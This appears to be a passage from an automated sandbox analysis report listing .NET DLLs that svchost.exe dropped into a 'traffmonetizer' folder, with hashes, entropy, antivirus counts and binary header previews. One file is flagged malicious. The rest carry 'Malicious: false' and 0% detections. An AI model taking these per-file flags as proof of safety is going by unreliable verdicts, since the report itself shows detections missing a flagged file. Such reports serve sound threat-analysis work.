File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.941945190587086
Encrypted:	false
SSDEEP:	384:Jm2igOWnW8rWwvT1Dm0GftpBjVjaQHRN70lxBGDD:5t/1DVinjLSMD
MD5:	559C98EB9633C7BA1BC813F8E6E0E9A5
SHA1:	311F52B31611E6DC5FD4C0159BFA452C22980CA7
SHA-256:	CC62F3B867D50083C2932061F20662C698D2E1A741C4D2F9DF1FD2D435E3EF3C
SHA-512:	E241C16869D1CDBB2C6482A7C5B2AF93DE4BA0CEF8185B8826EEE35ECB174F35F7585C8AE0320F7F4F6B80F3BB5B3EDAE2383760F2F35637F03C3A0E38E0875C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ..............................X.....@.................................t)..O....@..D................>...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...D....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3................................................n.o.....o.....\...........8...3.8...P.8.....8.....8.....8.....8.....8.....1.....8.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	189312
Entropy (8bit):	6.149301406867268
Encrypted:	false
SSDEEP:	3072:MHutEkGE0frJeOAY1tn/DuunP0F9QFg3QuxvkaHFckod:eu501WY9/DuOP0F9QFgwkm
MD5:	C598080FA777D6E63DFD0370E97EC8F3
SHA1:	9D1236DCFB3CAA07278A6D4EC751798D67D73CC2
SHA-256:	646D3B52A4898078F46534727BDB06FF23B72523441458B9F49ECC315BF3EF5C
SHA-512:	8A5B4AFB4363732008C97D53F13EE430401E4A17677AF37123DA035F15F9E9409A2AEB74AE238379291FD5DE07C3CD4E3DE2778DA5EDF83A42649FA5B281CB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\|..........." ..0.............v.... ........... ....................... ...... f....`.................................!...O........................#..........0...T............................................ ............... ..H............text...\|.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................U.......H...........\|...........p...@.............................................(......(....^.(.......W...%...}....:.(......}....:.(......}....:.(......}.....~.....0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(....*.(....,.r...

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.939816403058967
Encrypted:	false
SSDEEP:	384:2napn1iwwPWcGWNhvT1Dm0GftpBj/aQHRN7oIBldBoQAY0GP:lDuF91DVi1LoIzoJYR
MD5:	45FF71114047DBF934C90E17677FA994
SHA1:	526C688E71A7D7410007AD5AA6EA8B83CACE76C5
SHA-256:	529943C0CDF24F57E94BF03FAC5F40B94A638625027A02DF79E1E8CB5D9BC696
SHA-512:	29684AC5391268EAA276196A6249364F6D23ABFE59BDC304A561CF326CEA6CD662FA04C05E15924FD6D3F9E9D1607992B8DCAD3F817CFE891580F9D9462FE9B7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ...............................>....@.................................p)..O....@..@................>...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..t.......#Strings....<.......#US.@.......#GUID...P.......#Blob......................3................................................F.o.....o.....\...........,.....,...(.,.....,...f.,.....,.....,.....,.....%.....,.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.942827969586567
Encrypted:	false
SSDEEP:	384:2ZHLaEav5aaUa6arWVLWOvT1Dm0GftpBjq1xFaQHRN71mldBoQAYu:rPv5t/NOF1DViQ1xFLcoJYu
MD5:	B52C339601CB264F83DF72D802E98687
SHA1:	8BBB7BADAAA912C1F17775E9ACDCAB389704C772
SHA-256:	938DA38561DA54793944E95E94B6E11CF83AACD667487297D428FBCE1C06DC9C
SHA-512:	287F08AB07827570F9F3EF48A6D7E5C186899A2704FB3DBAF36975F6BE7B29FB6695A69FAB85A6F09BDDEFB60C79052C3A33CF862651F892EB9D773D880B3AF8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@..P................>...`......P(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................`.....`...t.M.................................=.....V.................q.....Z...................G.....G.....G...).G...1.G...9.G...A.G...I.G...Q.G...Y.G...a.G...i.G...q.G.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.848992181946284
Encrypted:	false
SSDEEP:	384:h6iIJq56dOuWSKeWkvT1Dm0GftpBj0RaQHRN7T7lxBGDto:viAw1DViKRLTxMi
MD5:	1D8AAFECA1EA565B257384D3F64864B0
SHA1:	4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148
SHA-256:	C2250E9E51B44D8AB8C5B892592766925F6580EE00B95026621D0AFB037C2707
SHA-512:	99E4A226E1FABB348E7EF7C6FA56AD0CE4E4CF5D8569CE21881703DCA8D83A1C113FD5F440A4FC9E9B99A04AE8CF4490E17D62FFC09CFAC5A45678A4419EFDBB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0................. ...@....... ..............................J.....@....................................O....@...................>...`......L)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ..\|....................(......................................BSJB............v4.0.30319......l.......#~..\|.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3................................................k.~.....~.....k..............0....M...............................#..........x...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C./...K.O...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21768
Entropy (8bit):	6.880530414500754
Encrypted:	false
SSDEEP:	384:/nzz+MpSaLWW0+WNC7Bm0GftpBjsY1xaDaQHRN7RlTZVkRzQ:npuAViVxaDLHZV+Q
MD5:	6067ECBAB3C6DDDB6BF7C49C7948CAA8
SHA1:	5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5
SHA-256:	22108E32E0B6E42F5F52A4CB17B9B6FA3DFD547ECD9EEF9C67226DBEC54D23E5
SHA-512:	9F3E834B8342E0C7AA5CCC993B520D664B03F1F0091066C66067923E1D4991EFA03F63908552538C05F423AA2B696DE7C76993F71A7564F3E87662CB0FC00726
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............B... ...@....... ....................................@..................................)..O....@...................?...`.......(............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$......H.......P ......................8(......................................BSJB............v4.0.30319......l.......#~..t...@...#Strings............#US.........#GUID....... ...#Blob......................3............................................................V...........j.................i...........8.................S.....<...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.'...C.B...K.b...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21752
Entropy (8bit):	6.916008128976572
Encrypted:	false
SSDEEP:	384:fGhr+YUfyHxsW/HWiC7Bm0GftpBjoEKaQHRN7VlO62gHcXn2d:MkmyViaLEg832d
MD5:	2F39655CCFC010E32A7240D9BF5D0852
SHA1:	20AEAED12DFB8D71E39687350EB12BC0DE372AF0
SHA-256:	BFCD867F71C887429DFE008D7EC5D1853D15B3932D4CE8991694293477B5BE37
SHA-512:	9769E59279A32F29C2F2C6970C81D3ED76FE3421B819DDFFC8FA98329F1B45300C737FDF71956672F80F69B3A75727D184F8C421E00B84E94163A86CB744A991
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............+... ...@....... ...................................@.................................<+..O....@..`................>...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................p+......H.......P ..4....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................................Y.]...{.]...6.J...}.....r........... .............................................................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22784
Entropy (8bit):	6.859096700065679
Encrypted:	false
SSDEEP:	384:BRE+ruiA5vzWeNWnvT1Dm0GftpBj94aQHRN7N+ql78oSwDnuQM:BS9bW1DVib4L5awfM
MD5:	D1699287934DA769FC31E07F80762511
SHA1:	BFE2384A92B385665689AD5A72F23ABC8C022D82
SHA-256:	0DBB92ECD5DFA7FC258BC6DEED4CECF1B37F895457FD06976496926ABDB317BB
SHA-512:	4FEF3E1535F546FFDDE0683F32A069BEEFFE89096524C7068F1F5CE8377824F82AE530D3990C9DD51BCCAA9E53FDED5613FA1174013325808059276DEE771187
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0............../... ...@....... ..............................:.....@................................../..O....@..p................?...`......T................................................ ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................./......H.......P .......................-......................................BSJB............v4.0.30319......l.......#~......@...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3................................;.....Y.........8...........<...........P.......................X.....q.....g................."...................I.....I.....I...).I...1.I...9.I...A.I...I.I...Q.I...Y.I...a.I...i.I...q.I.......................#.....+.....3.....;.%...C.@...K.`...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.910097922783346
Encrypted:	false
SSDEEP:	384:HT+6ywnVvW0LWqvT1Dm0GftpBj+XaQHRN7qn0lTZVk0N:H9911DViYLqeZVdN
MD5:	632CC8AD69B76FD9BB5847DE1E1439F7
SHA1:	2E32D50EC33EC6635681485B754F4E58D434A5EE
SHA-256:	5E61D755616CB10524F5F31E9B70C65A7FFF8E30E25CE711AC8B354D657AB479
SHA-512:	9BA5CC82573308E5D995BA05BC660FC1C087EB91D8BD7EFCA6FF838A3C47BD6118D9C92919B2E0DAC11A5A27977318C5C819499DC19CD5D6E57122A0749858C6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@...................>...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...h...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....7.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21160
Entropy (8bit):	6.908265030965905
Encrypted:	false
SSDEEP:	384:iRbzriaXT+WlEWLC7Bm0GftpBjXUNZiTaQHRN7hldBoQAYv8:A7icYVisiTLToJYU
MD5:	EA9376C17EE0148F0503028AD4501A92
SHA1:	9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0
SHA-256:	B537313413F80105F143CC144FEEAE2AC93F44747727DE309A71D57D2650034A
SHA-512:	18D1BB2D5C469644078D75766DBF04ADDF7D0C543F7ED15FF522CEEAEF960900DD8EC68172F5D684B76B0AA6946BB38D641F021EC04C70AD66A6062C10412E0A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............6)... ...@....... ...............................U....@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ......................,'......................................BSJB............v4.0.30319......l.......#~..H...x...#Strings............#US.........#GUID...........#Blob......................3......................................................k.....?.....$.....S.................R...........!.....j...........<.....%...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	154448
Entropy (8bit):	5.513799122521585
Encrypted:	false
SSDEEP:	3072:wdYO+3m9R6e1x03BZ6bDSzZ8B0uAP+Pch:i+2jv1x0ebezWiumh
MD5:	D712A5A82A446086443CE00B610D8A5D
SHA1:	7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14
SHA-256:	1C7BFF6F16BB618648E699B723AEAFE511515CD6AAD699C25FAAE2A507E22811
SHA-512:	225128E58E2F01B5CAADA6FE54B1D32FF6A700542CE22B425649AB22DA2944F796F04D1A2428C542BCAB5348A161CF73F5F9A1E7BBF1F6417C4D507217FE3FD0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............,... ...@....... ..............................DR....@..................................,..O....@..................P?...`.......+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H........A...............?..h...t+......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r;..p.(....2ro..p.(....2r...p.(....2r...p.(....2r...p.(....2rK..p.(....2r...p.(....2r...p.(....2r...p.(....*2rM..

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21736
Entropy (8bit):	6.879068263314492
Encrypted:	false
SSDEEP:	384:8RtRWjYWYvT1Dm0GftpBjaGaQHRN77TlgaGn73:+i61DViUGLHG7
MD5:	99373AB10858746AAD424F28B48277F5
SHA1:	5042EE630A6C7C2986E8323A14D052C1D83B6F61
SHA-256:	9C4AE61E0E8365762EFE3D34C5595029F2C12E0079E6070720E2CEF0882C84E5
SHA-512:	E96F8FDD6FFB702D344746CE82DE576BBA8636EDE3E39A7DA18CCF8A0178B8346FD31140760B864F1487D7804D931FF1A18DE07A4CAFA0CF79BDB340421FC03F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ..............................mG....@.................................x..O....@..@................>...`......@)............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.......................H.......P ..p....................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings....H.......#US.L.......#GUID...\.......#Blob......................3..................................................-.....-.........M...........[.................'.....@.................[........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.940882019021464
Encrypted:	false
SSDEEP:	384:IeWnoWMC7Bm0GftpBjVwaaQHRN7g20lgaGn771Y:InTViMaLnYGtY
MD5:	8B8C402311D7AB87E588675E736414FD
SHA1:	EB8C010A35B461402C1C33133F1B61C78BE8425A
SHA-256:	55A30D92D163CF1807BEA6DC13B4C13E70AEBBB034DC77EAEF4F4394730DCD8E
SHA-512:	D03F450A3A19320DE71145E48CD7C088D9B50D0A683CC9A79D8967DCE085A6F63CBE537FCA1C6208865EB52EAFB10189613C7233047318CAEB2FB2C23C34A269
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................X)..O....@..$................>...`...... (............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................)......H.......P ..P....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings....,.......#US.0.......#GUID...@.......#Blob......................3......................................K.........]...........d.............o...".o...?.o.....o...}.o.....o.....o.....o.....h...-.o.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21728
Entropy (8bit):	6.856791185052111
Encrypted:	false
SSDEEP:	384:Gqk53/hW3fZ+zWQC7Bm0GftpBj6dlwaQHRN7q5blgaGn7i:Gqk53MpViywLGbGu
MD5:	D86B0ACA05321569D9383DC7C4E9E934
SHA1:	2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA
SHA-256:	28B165CDDB82A2507114394AE398995EF8A50C549214F8678AA66054F6927754
SHA-512:	5959E1129C983825233A07869DD1B2B1DB32830D2B5F6B7F8D869C39A76A241F88F76D37341FDFBF56F000FC6ACBA19AEB36A7EFB94721494B41B65BF4978651
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*... ...@....... ..............................vC....@..................................)..O....@..0................>...`.......(............................................... ............... ..H............text...0.... ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.......................H.......P ...................... (......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................j.q.........~.................}.....3.....L.................g.....P...................k.....k.....k...).k...1.k...9.k...A.k...I.k...Q.k...Y.k...a.k...i.k...q.k.......................#.....+.....3.....;.....C.7...K.W...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23936
Entropy (8bit):	6.756576538241564
Encrypted:	false
SSDEEP:	384:TFCc4Y4OJWfOWqWWOWYDzDm0GftpBjnZaQHRN7IlDggA:RCcyCSVifLeLA
MD5:	FA98A0F020248C2BE1DD40C07092F22A
SHA1:	EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009
SHA-256:	CAE99F910874288AFBF810968D13B79D755CD4B2006609EC036EA4934181CBA5
SHA-512:	554A25C761102DC41A9E421621E329868D1162AB29F47E59754C8FCFAE0C12BBE8200E1B5975ABF926F1DE0977A5407C43202AC8A2801C69A7F01D95B6A1E959
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............N.... ...@....... ....................................@..................................-..O....@...................?...`......L-............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0.......H........ ..4....................,......................................F.(....~....(....6.o.....(....6.o..........*.o........~.....~.....BSJB............v4.0.30319......l.......#~..<.......#Strings.... .......#US.(.......#GUID...8.......#Blob...........GU.........3..................................................8.........*.h...m.h.....Z.....$...........Z...+.\|.....Z...1.Z.....$.....$.......3.D.......\|...F.\|...c.\|.....\|.....\|.....\|.....\|.....\|.....Z...I.\|...}.Z.....Z.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21280
Entropy (8bit):	6.9260824081196715
Encrypted:	false
SSDEEP:	384:EAWxMW3QvT1Dm0GftpBj1ROaQHRN7gIlBLY6fc8:Evxs1DVidOLgEYA
MD5:	A964808487E671BB369DBC0E4DC5A947
SHA1:	C3848473E42E2F9B4D0A00180EA9ADE654432587
SHA-256:	63EAB38EE9F4DCD686C8E6A4F01E1E2A9BB91E52B20AB4DDE0C28061E9261860
SHA-512:	7352368B68835ECC9C5943AE2F2BD5CAB775A7FBB018AF7683E74FAD1731A9738AE14EBE0BCCD854A223AB762FCA7EC11411FDAE865C5C6DDD034900FA55CFD0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................G....@..................................(..O....@.................. ?...`......L'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..\|....................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....D.......#US.H.......#GUID...X...$...#Blob......................3......................................z...........!...\.!...0.....A.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.,...C.G...K.g...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.915565842835677
Encrypted:	false
SSDEEP:	384:UUAlcWHaWlvT1Dm0GftpBjXGIRaQHRN7/lBLY6fIi:29N1DVihGIRL/Yni
MD5:	27C7D752C11C3F43F28EB31968E73E2B
SHA1:	51E466218025126C5E524AFD2086F4AB0BF3660A
SHA-256:	260C6250EF9B57DCA99B4CECC533F9A34857B5A32B5351202F776163841200AA
SHA-512:	393D1747911A7F91F4C4F4F363A3782F24E00431478088DA454823A223A4E75E51D9B010FC5D9746E2BF0185BE90071B6CB70C777337D718B39151EEF6B486AA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................C....@..................................(..O....@.. ................>...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....p.......#US.t.......#GUID...........#Blob......................3............................................................`.....1.....t.................s.....).....B.................].........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21744
Entropy (8bit):	6.857834679374035
Encrypted:	false
SSDEEP:	384:K8IZnWlNWM+109m0GftpBjBPaQHRN7401lTZVkAa:xUynViXPLrbZVs
MD5:	37BE4CCE0ED037F8D9A7A3940BD2A2E1
SHA1:	96314EC1A59E4BB53C5B609BF79AD4C998A7A988
SHA-256:	C81A57D0634C462A6CF49844059E9B170F650CCDF0789519FFD4AE7D28E2718D
SHA-512:	CEDAC24F414CCE5053FDF10779DBD153FCEBAD69B3960F75A5AB1110DA18799C79DC01B30269641022FCD874A331BC2DC7CE1A7D1A60DC90E109DD55B58665DB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............2... ...@....... ....................................@..................................)..O....@..P................>...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...\...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................t...................................=.....V.................q.....Z...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	31608
Entropy (8bit):	6.6075135088084505
Encrypted:	false
SSDEEP:	384:GlQnCMi33333333kj8xe+5PTYM3zUy+CezHjzgKj0uRWOdWmWJdWo3szm0GftpBp:8Qq33333333kX+TBi8P8zViDdsLHH0D
MD5:	60F59659DB517C2F4DD4C5C583D43097
SHA1:	87ED79D195D8D93AE1155AF08857F751A7ECA245
SHA-256:	B84B93BE455CC7D14EC0C88CE08DAFAC7B6AAC2E549C969E7126EB48C31F8B1C
SHA-512:	90BCEA3BAA04146F08013A832633957C6D511D5EB52270575EF9A571153384B5A02C5026361B70940775907B5BC710B2C91627EEACE432744F3B9E5E1ED509D6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............RM... ...`....... ....................................@..................................L..O....`..x............<..x?..........PL............................................... ............... ..H............text...X-... ...................... ..`.rsrc...x....`.......0..............@..@.reloc...............:..............@..B................3M......H.......8...!...................K.......................................0..H........(.....-.r...ps....z.-.r...ps....z.(......}......(#...}.....{.....o...."..(........0..Z.............%.r#..p.%..{.....%.rA..p.%..{..........%.rS..p.%..{....l.{....l[...ra..p(.....(....&...{.....0..4.................}......+....{.....".......X.....{.....i2..0..k..........{........{..........."....(.......X....{.....i.0%.(..........(.....(.......,..(........"....3.....}....*.......=..M......

C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.910934602645047
Encrypted:	false
SSDEEP:	384:R28YFlXulWY/W1+109m0GftpBjIaQHRN7T/8ldBoQAYBS:R0qMViaLTwoJYBS
MD5:	29B0A1554E54611EBBA7911049F26FD3
SHA1:	D707745E72D2F39374F2D28AF52AAAB7888B93AB
SHA-256:	2805A18724A24034AD6ACB315DAC516E479CECC5F3753204052657E560932D5D
